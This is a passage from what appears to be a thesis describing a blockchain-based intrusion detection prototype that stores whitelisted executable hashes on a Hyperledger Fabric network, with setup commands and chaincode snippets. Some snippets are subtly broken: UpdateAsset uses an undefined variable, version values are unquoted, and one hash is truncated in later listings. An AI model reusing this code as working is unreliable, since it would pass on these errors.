of probabilistic consensus in this context, is vulnerable to divergent ledgers, also referred to 
as forked ledgers. This means that one or several participants in the network may have altered 
view of the accepted order of transactions, for instance if a “malicious acting” node joins the 
permissionless network and becomes part of the consensus process.   

The prototype’s blockchain network is based on Hyperledger Fabric, therefore, inherently 
relying on deterministic consensus algorithm [107] [108]. Determinism in the context of 
blockchains, simply put, means that if one enacts the same steps in a pre-defined order, the 
same results as anybody else who follows the exact process should be achieved. This 
eventually provides guarantee that any block validated by peers is correct and final. 
Moreover, leveraging this architecture, ledger(s) cannot fork as they do in other distributed 
permissionless blockchain networks. In this context and architecture, an abundance of 
multistage and multi hierarchy endorsement, validity and versioning checks happens in the 
prototype’s blockchain network to achieve consensus. Since this is permissioned network, 
there is an inherent assumption that participating nodes “Org2 – Peer” and “Org1 – Peer”, 
are partially trusted. Before changes can be written on a block of transactions onto the 
ledger(s), there are several phases to guarantee endorsement, data synchronization across 
all participants, transaction order and finally, correctness. More specific, the prototype’s 
consensus can be divided into the following three phases (A) endorsement, (B) ordering, (C) 
validation and commitment, shown in Figure 33. 
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Figure 33 - Transaction invocation workflow. 

 
A. Endorsement happens through steps 1 to 3.  
¨ Step 1 - Transaction proposal: since this is a notional bank network most likely an 

administrator will oversee and submit transactions, however, there are “users” and 
“administrators” allowed to propose transactions for the sake of completeness and 
more accurate replication of an enterprise system, casually based on user and 
administrator roles. With that in mind, an administrator or user proposes a transaction 
to submit a new executable’s hash for whitelisting through the “Client” which is signed 
by the user’s or administrator’s certificate. Next, the proposal is sent to the pre-
defined endorsing peers “Org1 – Peer” and “Org2 – Peer” through “Channel A”.  

 
¨ Step 2 - Transaction simulation: endorsing peers “Org1 – Peer” and “Org2 – Peer” 

perform a sequence of verification checks. Namely the peers verify: 
i. A well-formed transaction is proposed. 

ii. The proposed transaction is unique, viz., it has not been submitted in the past, 
which ultimately provides for replay-attack protection. 

iii. User/administrator signature is valid. 
iv. “Client” is authorized and joined in “Channel A” and adheres to “Channel’s A” 

writer’s policy.  
These are the basic arguments invoked in the chain code’s function, which is in turn 
executed against the world state database to generate transactions results. At this 
point there are zero updates made on the ledger. The transaction simulation results 
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coupled with “Org1 – Peer” and “Org2 – Peer” signatures are reverted as an “endorsed 
proposal response”. 

 
¨ Step 3 – Endorsed proposal response: the prototype application, or “Client”, 

accumulates and verifies the endorsing “Org1 – Peer” and “Org2 – Peer” signatures 
and compares the proposal responses to conclude if the “endorsed proposal 
responses” are identical. Since the intention is to indeed submit a new executable’s 
hash to be whitelisted in the form of transaction to the ordering service and update 
the ledger, then the application will determine if “Org1 – Peer” and “Org2 – Peer” both 
endorse. If the intention, however, was to simply query the ledger to find out if an 
executable’s hash is already written, then the prototype application would only 
inspect the query rather than submit the transaction to the ordering service.  

 
B. Ordering happens through steps 4 to 5.  
 

¨ Step 4 – Transaction submission: once a “transaction message” is formed, containing 
the transaction proposal and response (outcome of step 3) the “Client” sends it to the 
“Founder – Orderer”.  
 

¨ Step 5 – Transaction ordering and new block creation: In continuation, the “Founder 
– Orderer” only needs to arrange the transactions received via “Channel A” 
chronologically, generates a block of transaction and signs it with its certificate. 

 
C. Validation and commitment happen through steps 6 to 7. 

 
¨ Step 6 – New block distribution: “Founder – Orderer” broadcasts the generated block 

to “Org1 – Peer” and “Org2 – Peer” on “Channel A”. Next and since both peers are 
endorsing peers, a versioning check named multi-version concurrency control (MVCC) 
check takes place. The MVCC check validates the correctness of each transaction in 
the received block.  More specifically, “Org1 – Peer” and “Org2 – Peer” compare each 
transaction’s details against the ledger’s world state database. If the result is 
successful, then the transaction is marked as valid while “Org1 – Peer” and “Org2 – 
Peer” world state databases get updated. If the result is unsuccessful, the transaction 
is marked as invalid and does not affect “Org1 – Peer” and “Org2 – Peer” world state 
database anyhow. Lastly, the received block will be appended into “Org1 – Peer” and 
“Org2 – Peer” local blockchain. Such will happen regardless of the MVCC outcome, 
namely, irrespective of the block being marked as valid or invalid, it will be appended 
into peer’s local blockchain hence providing for an immutable source of tracking.  

 
¨ Step 7 – Event delivery: An event is delivered by “Org1 – Peer” and “Org2 – Peer” to 

notify the “Client” that: 
i. The transaction has been appended (immutably) on chain. 

ii. The transaction has been validated or invalidated. 
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4.4.7 Certificate Authorities 
 
The Certificate Authorities, otherwise known as CAs are responsible for managing user 

certificates such as user registration, user enrolment and user revocation. The network setup 
is based on private permissioned blockchain network, therefore only permitted users can (1) 
query peer ledgers and access information or (2) invoke, namely create new transactions via 
Channel A. To achieve this, X.509 standard [109] [110] certificates are used to represent 
permissions, roles and attributes to users, administrators, “Org1 – Peer” and “Org2 – Peer” 
and “Founder – Orderer”. X.509 standard defines the format of public key infrastructure (PKI) 
certificates. PKI is subsequently used within the prototype’s network to verify the actions of 
all network participants. As a result, “Org1” operates its own CA “Org1 – CA”, “Org2” operates 
“Org2 – CA” and “Founder – Orderer” operates “Founder – CA”.  

 
4.4.8 Client 
 

The Client, considered to be the actual application (or even a set of applications) that 
interacts with the prototype’s blockchain network. The blockchain Lab (Figure 31) is 
virtualised on a single host running Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-27-generic 
x86_64). Some of the internal components described above are running as containers (e.g., 
peers) for the sake of architecture simplification, but also for resource minimization. Prior 
moving the Fabric test lab into production environment multiple parameters would have to 
be considered and ultimately changed, therefore the prototype cannot function as a 
production blueprint, rather than a test environment to facilitate evaluation and validation of 
capabilities effectiveness. In a production environment one should consider parameters such 
as, security of the blockchain network e.g., how to properly segment and secure it from the 
rest of the network, resource management e.g., separate hosts should contain peers and/or 
orderer, and high availability e.g., single, or double CAs, peers and orderer.    
 
4.4.9 Considerations Towards a Production Environment 
 

Finally, due to the simplified blockchain network architecture, network traffic congestions 
might be one of the most likely issues due to a single “Founder – Orderer” and multiple peers, 
in our case “Org1 – Peer” and “Org2 – Peer”. If we assume that the notional bank is growing 
over time, and more branches are joining the blockchain network therefore more 
Organizations and hence more peers joining “Channel A”, the single “Founder – Orderer” 
would most likely get overburdened with tasks such as distributing blocks of transactions. As 
a result, the “Founder – Orderer” might become a single point of failure.  

Although, a secondary orderer can always be added or even a cluster of orderer nodes 
ideally, Hyperledger Fabric currently supports two implementation of crash fault tolerance 
(CFT) to “Founder – Orderer”, namely Raft and Kafka. A third option is under development 
and testing at the same time and based on the Byzantine Fault Tolerant (BFT) ordering service. 
Regarding the possible network congestion due to block distribution overhead, the concept 
of leading peers is utilized as mitigating measure. For this concept to be triggered an 
organization e.g., “Org1” would need more than one peer and as such, for example, one peer 
would take the leading role while the other would function as an endorsing peer. As a result, 
the leading peer would disseminate the received block to other peers in the same 
organizations offloading the steps described in Figure 33. If the test network performs 
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sufficiently, and the notional bank’s branches are starting to join the network (as organization 
entities) while moving the infrastructure into production, then the production network would 
look like Figure 34 [77] [110]. 
 

 
Figure 34 - Hyperledger Fabric sample production network. 

 

4.4.10 Prototype’s Network Configuration 
 

Logged on the virtualized blockchain lab with hostname “blocklabz”, the following 
command switches to the necessary working directory and brings any previously running 
network down. 
 

 
 

Network.sh is a powerful shell script used to start, stop, and configure the blockchain 
network. Sample output of running the script without any switches is shown below. The aim 
is to display the network.sh shell script’s options for explanation purposes regarding the 
switches used in continuation: 
 

$ cd /home/blocklab/Desktop/hyperlab/fabric-samples/test-network; ./network.sh down 



 88 

 
 

Next, using the network.sh shell script the Fabric test network is launched with the following 
command, using certificate authorities hence the -ca switch.  
 

 
 
First, a channel named “mychannel” is created and anchored on both peers, as shown in 
Figure 35. 
 

blocklab@blocklabz:~/Desktop/hyperlab/fabric-samples$ cd test-network; ./network.sh 
Usage:  
  network.sh <Mode> [Flags] 
    Modes: 
      up - Bring up Fabric orderer and peer nodes. No channel is created 
      up createChannel - Bring up fabric network with one channel 
      createChannel - Create and join a channel after the network is created 
      deployCC - Deploy a chaincode to a channel (defaults to asset-transfer-basic) 
      down - Bring down the network 
 
    Flags: 
    Used with network.sh up, network.sh createChannel: 
    -ca <use CAs> -  Use Certificate Authorities to generate network crypto material 
    -c <channel name> - Name of channel to create (defaults to "mychannel") 
    -s <dbtype> - Peer state database to deploy: goleveldb (default) or couchdb 
    -r <max retry> - CLI times out after certain number of attempts (defaults to 5) 
    -d <delay> - CLI delays for a certain number of seconds (defaults to 3) 
    -verbose - Verbose mode 
 
    Used with network.sh deployCC 
    -c <channel name> - Name of channel to deploy chaincode to 
    -ccn <name> - Chaincode name. 
    -ccl <language> - Programming language of the chaincode to deploy: go, java, javascript, typescript 
    -ccv <version>  - Chaincode version. 1.0 (default), v2, version3.x, etc. 
    -ccs <sequence>  - Chaincode definition sequence. Must be an integer, 1 (default), 2, 3, etc 
    -ccp <path>  - File path to the chaincode. 
    -ccep <policy>  - (Optional) Chaincode endorsement policy using signature policy syntax. The default 
policy requires an endorsement    from Org1 and Org2 
    -cccg <collection-config>  - (Optional) File path to private data collections configuration file 
    -cci <fcn name>  - (Optional) Name of chaincode initialization function. When a function is provided, the 
execution of init will be  requested and the function will be invoked. 
 

$ sudo ./network.sh up createChannel -c mychannel -ca 
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Figure 35 - Peer anchoring on "mychannel". 

Successful creation of “mychannel” and the genesis block generation are shown in Figure 36 
and Figure 37 respectively. 
 

 
Figure 36 - Successful output of "mychannel" creation. 

 
Figure 37 - Genesis block generation. 
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Finally, the certificate authorities (CAs) are generated as demonstrated in Figure 38 

 
Figure 38 - Generate CAs. 

The following command performs several steps at once. Namely, the blockchain network is 
deployed with two peers, one ordering service, and three certificate authorities (one for each 
peer and one for the orderer).   

 

 
 

The chaincode name is set to “basic”, programming language is set to JavaScript. The invoked 
script will use chaincode lifecycle to perform packaging, installation, querying of installed 
chaincode and finally approval of chaincode for both Org1 and Org2.  
 

 
Figure 39 - Invoking the chaincode lifecycle package. 

 

$ sudo ./network.sh deployCC -ccn basic -ccp ../asset-transfer-basic/chaincode-javascript/ -ccl javascript 
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Ultimately it commits the chaincode. After successful script execution and chaincode 
deployment, the key output is the following. The full console output is shown in Figure 40 
 

 
 

 
Figure 40 - Successfully committing and initializing chaincode on peers. 

4.4.11 Limitations 
 

The overall notional bank network (Figure 18) operates in asynchronous mode. This means 
that a manual process needs to take place for the necessary information to be transferred 
from and to the remote employee’s endpoint (1) and the blockchain lab (6). Two possible 
ways of automation would be: 
 

• A semi-automatic bridge between remote employee’s endpoint (1) and blockchain lab 
(6) using encrypted software to replicate a copy-paste mechanism in timed intervals. 

• Development of a specific agent and installation on the assumed remote employee’s 
endpoint (1) to constantly send and receive data via an encrypted channel.  

 
To overcome the lack of an automated channel, a manual process takes place to simulate as 
much as possible one of the above automated or semi-automated way of data exchange. 
Namely, manually transferring the hashes from the assumed remote employee’s workstation 
back to the blockchain lab server. In addition, the hashes are imported on-chain using the 
JavaScript application “app.js”, invoking the “CreateAsset” call via “CreateAsset” chaincode 
function, all in form of a transaction. 
 
4.4.12 Specifications 
 

Table 10 - Blockchain lab specifications. 

      Hyperledger Fabric Blockchain Lab “Blocklabz” (6) (VM) 
Operating System (OS) Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-27-generic x86_64) 

Hard Disk Drives (HDD) 25GB 
Central Processing Unit (CPU) 2.22 GHz Quad Core Intel Core i7-4770HQ 

Committed chaincode definition for chaincode 'basic' on channel 'mychannel':Version: 1.0, Sequence: 1, 
Endorsement Plugin: escc, Validation Plugin: vscc, Approvals: [Org1MSP: true, Org2MSP: true] 

Query chaincode definition successful on peer0.org2 on channel 'mychannel'  
Chaincode initialization is not required 

 

 



 92 

Random Access Memory (RAM) 6GB 

Software (SW) Git, cURL, Docker, JQ, GO, Hyperledger fabric 2.3, Ubuntu 20x 
basic installation with advanced package tool (APT) and APT 

essentials 
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4.5 Blockchain Application Layer 
 

In this section we describe how the prototype intrusion detection and prevention 
application, and smart contract (chaincode) will interact with the deployed blockchain 
network. Utilizing sample programs built into Hyperledger Fabric performing basic functions, 
the asset-transfer smart contract is invoked and therefore enables an administrator (or even 
a user if permissioned appropriately) to accomplish two basic tasks through the application: 
 

• Query the ledger content: for instance, an administrator could query for imported 
hashes (belonging to executable extensions as described in 4.2 Hash-based 
Blockchain-enabled Whitelisting). Therefore, the administrator can manually 
crosscheck if a hash exists on the chain and conclude if an executable extension, is, or 
will be able to run on the remote employee’s endpoint.  

• Submit transactions to the ledger: for instance, update the ledger with new hashes in 
case a hash is not imported automatically. Another case might be an ad-hoc request 
of an executable extension’s hash, requiring an immediate import for emergency 
execution on the remote employee’s workstation.  

 
Expanding on Figure 31, Figure 41 shows the relation between (1) the application, and (2) 

the chaincode, the last two out of five core components of the blockchain enabled intrusion 
detection and prevention prototype. Third core component being the blockchain network 
(see 4.3. Blockchain Network Layer), second, the hashes of the executable extensions on 
remote employee’s endpoint (see 4.2 Hash-based Blockchain-enabled Whitelisting) and 
finally, the overall operating ZTA environment (see 4.1 Zero Trust Architecture). 
 

 
Figure 41 - Application and chaincode interaction with blockchain network. 
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The goal of the setup is to utilize the asset transfer samples as provided by Hyperledger 
Fabric, to build a working IDPS prototype application and chaincode, ultimately interacting 
with each other through Fabric SDK. The basic flow of how this interaction between the 
application and the chaincode in relation to the blockchain network, is shown in Figure 42. 
 

 
Figure 42 - Basic flow between IDPS application and chaincode. 

The IDPS application invokes the chaincode through Fabric SDK. Figure 42 also 
demonstrates the application invoking chaincode’s functions to submit a new hash into world 
state database in the form of transaction. If the hash already exists then another function is 
triggered (AssetExists), and therefore administrator would be presented with an error, while 
printing in the console the existing hash details for reference. 
 
4.5.1 Preparation 
 

The blockchain network is already up and running, hence we can proceed with the 
application setup. To verify that the network is operational we run the below command to 
check the peer(s) status, orderer, CAs and containers.  
 

 
 

The output shown in Figure 43 and Figure 44 confirms all critical components are 
operational. Moreover, chaincode is already committed and initialized. 
 

# root@blocklabz:/home/blocklab# docker ps -a ; docker info 
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Figure 43 - Docker containers running. 

 

 
Figure 44 - Docker information on blockchain lab named "blocklabz". 

The next step is to modify the JavaScript version of Asset Transfer application, which will 
be used to interact with the deployed chaincode. To do so we change the working directory 
with the following command. 
 

 
 
4.5.2 Administrator-User Enrolment and Registration 
 

It is fundamental to enrol an administrator and at least one user. Administrator role 
replicates one of the administrators within the notional bank while the user role is required 
for the remote employee to be able to interact with the blockchain enabled IDPS. A common 
pitfall when it comes to user enrolment is that the application interacts with the chaincode, 
nonetheless. It is imperative to note that the user or administrator role enrolment alongside 

root@blocklabz:/# cd /home/blocklab/Desktop/hyperlab/fabric-samples/asset-transfer-basic/application-
javascript/ 
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the application registration interactions happens explicitly between the application and the 
relevant CAs. Examining the chaincode AssetTransfer.js, which is in 
“/home/blocklab/Desktop/hyperlab/fabric-samples/asset-transfer-basic/chaincode-
javascript/lib”, there is no reference to enrolment function, as shown in Figure 45. 
 
 

 
Figure 45 - AssetTransfer chaincode. 

On the other hand, however, examining the add-read-hash.js, our modified version of the 
assetTransfer.js application, a search for the relevant string returns matching results as shown 
in Figure 46. It is also visible that “enrollAdmin” invokes other scripts to complete the 
operation, such as “CAutil.js” and “Apputil.js”. 
 

 
Figure 46 - Application invokes enrollAdmin function. 

Figure 46 (line 18) depicts something equally important, which is the directory name where 
the CAs administrator’s credentials will be stored. The certificate and the private key will be 
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in the same directory. Lastly the administrator enrolment happens while executing the 
“enrollAdmin”, which returns the following output: 
 

 
Similarly, and since we already have the administrator’s credentials in a wallet, the “add-read-
hash.js” via the administrator role registers and enrols an application user calling the 
“registerAndEnrollUser”. Execution completes successfully and reverts the following output: 
 

 
 
As a result, we have created two different identities for the separate users that can interact 
with the application. Namely, admin and appUser, their certificate and private key “admin.id” 
and “appUser.id” are shown in Figure 47 respectively. 
 

 
Figure 47 - Admin and UserApp certificate and private keys. 

4.5.3 Connecting to Channel and Chaincode 
 
The administrator and user credentials are now generated, registered, and placed in the 
wallet. Subject to permissions per role, the application user and admin can call chaincode 
functions after establishing a successful connection first to “Channel A” and a proper 
reference to the contract.  
 

 
Figure 48 - Channel and chaincode reference. 

 

Wallet path: /home/blocklab/Desktop/hyperlab/fabric-samples/asset-transfer-basic/application-
javascript/wallet 

Successfully enrolled admin user and imported it into the wallet 

 

Successfully registered and enrolled user appUser and imported it into the wallet 
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Since the client is running on the same network as “Org1 – Peer” and “Org2 – Peer” the 
“asLocalhost” parameter must be set to “true”, as shown in Figure 48. Moreover, the channel 
name is referenced via the “gateway” and the contract name via “Contract”. 
 
4.5.4 Ledger Initialization 
 
At this point, the application is ready to submit transactions. Transactions are submitted by 
utilizing: 
 
1) The application call named “InitLedger”. This call will initialize the first set of hashes from 
remote employee’s workstation on “Channel A” using the relevant chaincode, namely the 
“Initledger” function. The “InitLedger” call follows: 
 

 
 
2) The chaincode function named “InitLedger”. This is where we hold the output of hashed 
executable extensions of remote employee’s workstation. Part of the “InitLedger” function 
follows: 
 

console.log('\n--> Submit Transaction: InitLedger, function creates the initial set of assets on the ledger'); 
await contract.submitTransaction('InitLedger'); 
console.log('*** Result: committed'); 

 



 99 

 
 
Next, the “submitTransaction()” function is invoking the above chaincode “InitLedger” 
function to occupy the ledger with three sample hashes extracted from remote employee’s 
workstation. The “submitTransaction()” function will then perform the following actions: 

• start service discovery to find the endorsing peers within the blockchain network, 
namely “Org1 – Peer” and “Org2 – Peer”. 

• invoke the chaincode on the same peers. 
• collect the chaincode endorsed results from the same peers. 
• submit the transaction to “Founder – Orderer”. 

 
4.5.5 Application Calls and Chaincode Functions 
 
Querying the ledger is one of the most essential functions of the blockchain enabled intrusion 
detections and prevention system. For instance, querying for existing on-chain hashes will 
result in a decision of whether an executable extension will be allowed to execute, or not, on 
the remote employee’s workstation. To achieve this, the application will need to query the 

async InitLedger(ctx) { 
const assets = [ 
         { 
             ID: 'svchost.exe', 
             Hash: 
'bb93d19c35d751468b09b275de48452ff8724569167b43f42d6af74639f95121b84f59fa88bcefd70ba6a23c
2722d5d40f775e636141bfdc52e887e866e670e1', 
             Size: 44.496, 
             Owner: 'remote-employee', 
             AppVersion: 10.0.1493, 
         }, 
         { 
             ID: 'notepad.exe', 
             Hash: 
'b3c6a6b158b914e612166eb49fb5a7543b0272d20e84577d9e051876c711b0dd5472976a07b6521b09d8e
0779fa0cc33b14f7cef1b08831b6db7829abf3b1c26', 
             Size: 88.92, 
             Owner: 'remote-employee', 
             AppVersion: 10.0.1493, 
         }, 
         { 
             ID: 'Bubbles.scr', 
             Hash: 
'364a7f9088330e9439432d585f81153bc924d2685d9cc934c1c45f2c545d2ce2d4ed4d29df631f2c02b3062c
fa167bbaa605c10a4c7e454db87bb2edda27463a', 
             Size: 806.4, 
             Owner: 'remote-employee', 
             AppVersion: 10.0.1493, 
         }, 
     ]; 
     for (const asset of assets) { 
         asset.docType = 'asset'; 
         await ctx.stub.putState(asset.ID, Buffer.from(JSON.stringify(asset))); 
         console.info(`Asset ${asset.ID} initialized`); 
     } 
 } 
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ledger of either “Org1 – Peer” or “Org2 – Peer” using read-only invocations of the smart 
contract. Figure 49 shows a simplified query flow. 
 

 
Figure 49 - Simplified query flow. 

Typical queries comprise the current value of hashes in the ledger’s world state. Through 
the application the administrator can perform query against one or multiple hashes, since 
those are represented as a set of key-value pairs within the world state. World state runs on 
Apache CouchDB [111] therefore by modelling data in JavaScript Object Notation (JSON) we 
can execute multiple complex queries all at once. This is imperative for the efficient function 
of the overall blockchain enabled IDPS, as multiple queries are required to be executed 
continuously against executable extensions having a particular owner (e.g., remote 
employee) and with a certain hash value without submitting a transaction to the ordering 
service. Figure 42 shows the available IDPS application calls and chaincode functions. In the 
next paragraphs we explain in detail how they work and what is the expected outcome. 
 
4.5.5.1 Application “GetAllAssets” 
 

Calling the “GetAllAssets” application will perform a query type operation. As shown in the 
code below, when calling “GetAllAssets” the “evaluateTransation() function gets triggered 
which queries the peer without submitting a transaction to the ordering service.  
 

 

console.log('\n--> Evaluate Transaction: GetAllAssets, function returns all the current assets on the 
ledger'); 
let result = await contract.evaluateTransaction('GetAllAssets'); 
console.log(`*** Result: ${prettyJSONString(result.toString())}`); 
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4.5.5.2 Chaincode “GetAllAssets” 
 
The “GetAllAssets” chaincode or smart contract returns all assets found in the world state.  
 

 
 
Sample terminal output of “GetAllAssets” is shown in Figure 50. 
 

 
Figure 50 - GetAllAssets terminal output. 

 
4.5.5.3 Application “CreateAsset” 
 

Calling the “CreateAsset” application submits an actual transaction. However, the 
transaction is being sent to both peers and as opposed to “GetAllAssets” where we perform 
a query to one of the peers. If both peers endorse the submitted transaction, then the 
endorsed proposal is being sent to the “Founder – Orderer” to be committed by both “Org1 
– Peer” and “Org2 – Peer” to the ledger. A test hash is created with the below code calling 
the “CreateAsset” and the results are committed. 

async GetAllAssets(ctx) { 
     const allResults = []; 
     const iterator = await ctx.stub.getStateByRange('', ''); 
     let result = await iterator.next(); 
     while (!result.done) { 
         const strValue = Buffer.from(result.value.value.toString()).toString('utf8'); 
         let record; 
         try { 
             record = JSON.parse(strValue); 
         } catch (err) { 
             console.log(err); 
             record = strValue; 
         } 
         allResults.push({ Key: result.value.key, Record: record }); 
         result = await iterator.next(); 
     } 
     return JSON.stringify(allResults); 
 } 
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4.5.5.4 Chaincode “CreateAsset” 
 
The chaincode “CreateAsset” function shown below, issues the new hash to the world state 
alongside with application name notepad.exe, its file size is 88.92 kilobytes, file version being 
10.0.1493 and owner being the “remote-employee”. 
 

 
When utilizing both the “CreateAsset” application and chaincode, it is imperative to note that 
the chaincode is expecting five arguments in the correct type and sequence as per Table 11. 
 

Table 11 - “CreateAsset” argument sequence, type, purpose, and explanation. 

Arguments  Sequence Type Purpose Example / explanation 
ID 1 String Executable 

extension 
full name 

Application name e.g., notepad.exe 

Hash 2 String Hash value The hash value of the application notepad.exe, in 
this case: 
b3c6a6b158b914e612166eb49fb5a7543b0272d20e
84577d9e051876c711b0dd5472976a07b6521b09d
8e0779fa0cc33b14f7cef1b08831b6db7829abf3b1c
2' 

Size 3 Integer Application size The size of application during hashing, in this case 
88.92 KB 

Owner 4 String Username The username and owner of the application during 
hashing, in this case hashing was performed on 
remote-employee’s workstation therefore Owner 
parameter is set to “remote-employee” 

AppVersion 5 Integer Application 
version 

The version of application during hashing, in this 
case 10.0.1493 

 

console.log('\n--> Submit Transaction: CreateAsset, creates new asset with ID, hash, owner, size, and 
AppVersion arguments'); 
await contract.submitTransaction('CreateAsset', 'notepad.exe', ' 
b3c6a6b158b914e612166eb49fb5a7543b0272d20e84577d9e051876c711b0dd5472976a07b6521b09d8e0
779fa0cc33b14f7cef1b08831b6db7829abf3b1c2', '88.92', 'remote-employee', '10.0.1493'); 
console.log('*** Result: committed'); 

async CreateAsset(ctx, id, hash, size, owner, applicationVersion) { 
const asset = { 
ID: id, 
      Hash: hash, 
      Size: size, 
      Owner: owner, 
      AppVersion: applicationVersion, 
  }; 
  return ctx.stub.putState(id, Buffer.from(JSON.stringify(asset))); 
} 
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4.5.5.5 Application “ReadAsset” 
 
Calling the “ReadAsset” application is of foremost importance in the context of the 
blockchain-enabled IDPS. Although it is a quite simple call, it is the first step towards a decision 
of an application to be allowed or denied execution on the remote employee’s workstation. 
Subsequently it is also the first step prior triggering several other processes, such as detection 
process, a prevention rule, an update of the application’s hash, a transfer of ownership and 
others. The “ReadAsset” is shown below.  
 

 
 
4.5.5.6 Chaincode “ReadAsset” 
 
Invoking the chaincode “ReadAsset” function will return the specified asset’s information 
stored in the world state.  
 

 
 
If the requested hash exists, then the application’s information will be printed in the terminal 
output as follows: 
 

 
 
If the requested hash does not exist, then an error message with asset’s ID is printed alerting 
the user (or admin) for the result.  
 
4.5.5.7 Application “AssetExists” 
 
Calling the “AssetExists” application provides for a great sequence alongside the “ReadAsset” 
application and chaincode. For instance, an administrator might call the “AssetExists” to verify 
if a hash is present on-chain, and if that is true then call “ReadAsset” to print the relevant 
information on screen. “AssetExists” is another key application (and chaincode) because it 

console.log('\n--> Evaluate Transaction: ReadAsset, function returns an asset with a given assetID'); 
result = await contract.evaluateTransaction('ReadAsset', 'notepad.exe'); 
console.log(`*** Result: ${prettyJSONString(result.toString())}`); 

 

async ReadAsset(ctx, id) { 
          const assetJSON = await ctx.stub.getState(id);  
          if (!assetJSON || assetJSON.length === 0) { 
               throw new Error(`The asset ${id} does not exist`); 
          } 
          return assetJSON.toString(); 
} 

 

Evaluate Transaction: ReadAsset, function returns an asset with a given assetID 
Result: { 
"ID": "notepad.exe",                
"Hash":"b3c6a6b158b914e612166eb49fb5a7543b0272d20e84577d9e051876c711b0dd5472976a07b6521
b09d8e0779fa0cc33b14f7cef1b08831b6db7829abf3b1c2", 
 "Size": "88.92", 
 "Owner": "remote-employee", 
 "AppVersion": "10.0.1493" 
} 
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provides for a starting point of triggering other processes likewise “ReadAsset”. Another 
example would be to subsequently call the “AssetExists” with “CreateAsset” and submit a 
transaction proposal for a new hash to be submitted on-chain in case it does not exist.  
 

 
 
 
4.5.5.8 Chaincode “AssetExists” 
 
Similarly, the chaincode works with Boolean values, which means if the hash exists in world 
state, then “true” is returned to the user. 
 

 
 
4.5.5.9 Application “UpdateAsset” 
 
Calling the “UpdateAsset” application will update one or several arguments of an existing 
asset. In the below code snippet, we update the notepad.exe version from 10.0.1493 to 11. 
 

 
 
4.5.5.10 Chaincode “UpdateAsset” 
 

 
 

console.log('\n--> Evaluate Transaction: AssetExists, function returns "true" if an asset with given assetID 
exist'); 
result = await contract.evaluateTransaction('AssetExists', 'notepad.exe'); 
console.log(`*** Result: ${prettyJSONString(result.toString())}`); 

 

async AssetExists(ctx, id) { 
const assetJSON = await ctx.stub.getState(id); 
return assetJSON && assetJSON.length > 0; 
} 

 

console.log('\n--> Submit Transaction: UpdateAsset notepad.exe, update the version to 11'); 
await contract.submitTransaction('UpdateAsset', 'notepad.exe', 
'b3c6a6b158b914e612166eb49fb5a7543b0272d20e84577d9e051876c711b0dd5472976a07b6521b09d8e0
779fa0cc33b14f7cef1b08831b6db7829abf3b1c2', '88.92', 'remote-employee', '11'); 
console.log('*** Result: committed'); 

 

async UpdateAsset(ctx, id, hash, size, owner, appVersion) { 
const exists = await this.AssetExists(ctx, id); 
if (!exists) { 
throw new Error(`The asset ${id} does not exist`); 
} 
const updatedAsset = { 
ID: id, 
Hash: hash, 
Size: size, 
Owner: owner, 
AppVersion: applicationVersion, 
 }; 
return ctx.stub.putState(id, Buffer.from(JSON.stringify(updatedAsset))); 
} 
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4.5.5.11 Application “TransferAsset” 
 
Calling the “TransferAsset” application submits a transaction to transfer notepad.exe from 
the current owner “remote-employee” to a new owner, namely “Dr.Vinh”. 
 

 
 
4.5.5.12 Chaincode “TransferAsset” 
 
The chaincode function will update the owner field of notepad.exe in the world state 
database, from “remote-employee” to “Dr.Vinh”. 
 

 
 
4.5.6 Ledger Update 
 
Updating the ledger from an application perspective is rather simple. The application submits 
a transaction to the blockchain network to be validated and committed. If successful, a 
notification is sent back to the application. This involves the consensus process however, as 
explained in section 4.4.6 Consensus, whereby the core components of the blockchain 
network collaborate to ensure that every proposed update to the ledger is acceptable and 
performed in an agreed and consistent order.  
 
  

console.log('\n--> Submit Transaction: TransferAsset notepad.exe, transfer to new owner of 
Dr.Vinh'); 
await contract.submitTransaction('TransferAsset', 'notepad.exe', 'Dr.Vinh'); 
console.log('*** Result: committed'); 
 

async TransferAsset(ctx, id, newOwner) { 
const assetString = await this.ReadAsset(ctx, id); 
const asset = JSON.parse(assetString); 
asset.Owner = newOwner; 
return ctx.stub.putState(id, Buffer.from(JSON.stringify(asset))); 
} 
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4.5.7 Application Rationale 
 

The goal of the blockchain enabled IDPS, is to effectively detect, and prevent where 
possible, attacks on the endpoints. To achieve this, we leverage the application calls and 
chaincode functions (see section 4.5.5 Application Calls and Chaincode for details) as shown 
in Figure 51. 
 

 
Figure 51 - Application rationale. 

There are seven core processes (shown in green) and 7 inputs or outputs, all of them 
together interconnected and interdependent with the overall blockchain enabled intrusion 
detection and prevention ecosystem. The essential part, however, is the interaction between 
the designated processes and on-chain data, described below: 
 
• Process 1 – New endpoint enrolment: this is the first step where either a new employee 

will be provided with a corporate endpoint, or he/she will opt in for the BYOD option. In 
the design and implementation phase we take both scenarios into account to be 
pragmatic and realistic with the current corporate IT landscape. 
 

o Corporate endpoint provided: in this scenario the time to hash is minimum. Our 
current lab setup measured at 52,83 seconds from start to finish. This is because 
hashing takes place prior providing the endpoint to the remote employee against 
a corporate application whitelist baseline repository, therefore minimum to zero 
impact on user experience. Lastly, a wallet ID is already configured by 
administration team and the necessary certificate is issued beforehand. 

 
o BYOD: in this scenario the time to hash will be significantly increased based on 

factors such as (1) committed computational resources, (2) user actively using the 
endpoint or being idle, (3) a hybrid combination of options 1,2 namely, increasing 
computation resources while user is idle and decreasing computation resources 
while user is working. Finally in this case, a new wallet ID and a certificate must 
be issued for the user to be able to interact with process 2 and import the newly 
hashed apps data on-chain. Note that in the BYOD case, the smart contract will 
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only hash against the corporate baseline while the remaining host applications 
will be considered untrusted, and therefore run in isolation. 
 

• Process 2 – Import new apps on-chain: this process utilized the “CreateAsset” app 
function and chaincode. It enables for newly hashed application’s information to be 
transferred and recorded on-chain, providing immutability. 
 

• Process 3 – Verify existing apps on-chain: this is a key process as few other processes are 
dependent. Utilizing the “AssetExists” app function and chaincode we can verify against 
an immutable source of truth whether an app’s information is present on chain, and 
thereby draw relevant conclusions and take further actions. For instance, an app can be 
allowed or denied execution, or the “UpdateAsset” can be called to update apps 
information and facilitate the corporate patch management process. 

 
• Process 4 – Query for specific app(s): utilizing either of “GetAllAssets” or “ReadAsset” 

apps functions and chaincodes, an administrator can query the ledger for specific 
information. For instance, manually verify on-chain presence of applications, or request 
certain information to expedite incident triaging if needed.  

 
• Process 5 – Update existing app(s) information: this process can be sequentially invoked 

explicitly via Process 3 and “AssetExists”. Through “UpdateAsset” app function and 
chaincode we can update certain information fields of applications. 

 
